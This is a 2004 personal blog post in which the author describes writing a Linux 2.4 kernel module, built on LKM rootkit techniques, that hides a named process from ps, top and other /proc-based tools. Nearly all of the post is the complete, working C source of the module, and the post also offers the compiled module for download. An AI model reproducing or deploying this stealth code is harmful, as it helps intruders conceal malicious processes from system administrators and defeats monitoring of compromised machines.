June 17, 2004
Kernel module hacking [ Software ]
I needed to find a quick 'n' dirty way to effectively hide a running process by name on a Linux 2.4 machine. I've done some research on LKM rootkits in the past and read through the requisite articles and papers from phrack & company, so I had a fair idea of what approach to use. I've never done any Linux kernel module programming before, so I googled around and found some useful resources.
I found some helpful code snippets, suggestions, a good HOWTO on writing kernel modules, some documentation on Linux 2.4 process management, and the excellent site at http://lxr.linux.no/source/ which lets you browse through kernel source code. I spent a lot of time looking at sched.h in particular while I wrestled with questions like "next_task isn't in structure? Whaddaya mean?". Turns out that the 2.6 kernel has a slighly different setup than the 2.4 kernel for iterating through processes, so I had to switch development boxes to use a 2.4 machine (since that's where it's destined to go).
You can download the code + compiled module (built on RedHat 8, kernel version 2.4.20-18.8) in .tgz format. This module will effectively hide a named process from 'ps', 'top', 'pstree' and other utilities that rely on the /proc filesystem for process information once it's loaded. You can also browse the code below:
/*
* hideme.c
*
* Copyright (C) 2004 Eric Dobbs <edobbs (at) freemode (dot) net>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License (LICENSE file) for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
* USA.
*
*/
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_ALERT */
#include <linux/init.h> /* Needed for module_init, module_exit */
#include <linux/sched.h> /* Needed for write_lock_irq */
#define MYMODNAME "hideme"
#define PROCNAMELEN 16
/* Function headers */
static int my_init_module(void);
static void my_cleanup_module(void);
struct task_struct *find_task_by_name(char[PROCNAMELEN]);
int hide_task(struct task_struct *);
/* ======================= Actual code ======================= */
/* What's the default process name? */
static char *procname = "foo";
/* Non-verbose by default */
static int verbose = 0;
/* Get argument if present */
/* Generally done by 'insmod ./hideme.o procname="value" verbose=1' */
MODULE_PARM (procname, "s");
MODULE_PARM (verbose, "i");
struct task_struct *find_task_by_name(char in_name[PROCNAMELEN])
{
struct task_struct *task = current;
do {
if( strncmp(task->comm,in_name,PROCNAMELEN) == 0 )
return(task);
task = task->next_task; /* Old-style, works with 2.4-series kernels */
/* next_task(task); */ /* New-style, works with 2.6-series kernels */
} while(task != current);
return(NULL);
}
int hide_task(struct task_struct *t)
{
/* Remove process from ps listings */
write_lock_irq(&tasklist_lock);
unhash_pid(t);
t->pidhash_pprev = &t->pidhash_next;
t->pidhash_next = NULL;
write_unlock_irq(&tasklist_lock);
return 0;
}
static int my_init_module(void)
{
if (verbose) {
printk(KERN_ALERT "Module %s loaded.\n", MYMODNAME);
printk(KERN_ALERT "%s: used %s as argument.\n", MYMODNAME, procname);
}
/* Do we have a matching process? */
struct task_struct *p = NULL;
p = find_task_by_name(procname);
if ( p != NULL ) {
pid_t mypid;
mypid = p->pid;
if (verbose)
printk(KERN_ALERT "%s: process pid %i matches argument %s.\n",
MYMODNAME, mypid, procname);
hide_task(p);
if (verbose)
printk(KERN_ALERT "%s: hid process pid %i.\n", MYMODNAME, mypid);
} else {
if (verbose)
printk(KERN_ALERT "%s: found no process matching argument %s.\n",
MYMODNAME, procname);
}
/* Module won't load unless this function returns 0 */
return 0;
}
static void my_cleanup_module(void)
{
if (verbose)
printk(KERN_ALERT "Module %s unloaded.\n", MYMODNAME);
}
/* Where's my entry and exit points? */
module_init(my_init_module);
module_exit(my_cleanup_module);
/* Anti-taint and module doc */
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Eric Dobbs <edobbs (at) freemode (dot) net>");
MODULE_DESCRIPTION("Process hiding module");
/* We tie into /dev/foo* devices */
MODULE_SUPPORTED_DEVICE("foo");
/* eof */
Posted by edobbs at June 17, 2004 05:58 PM
Original content copyright ©1995-2006 Eric Dobbs, except where otherwise noted.
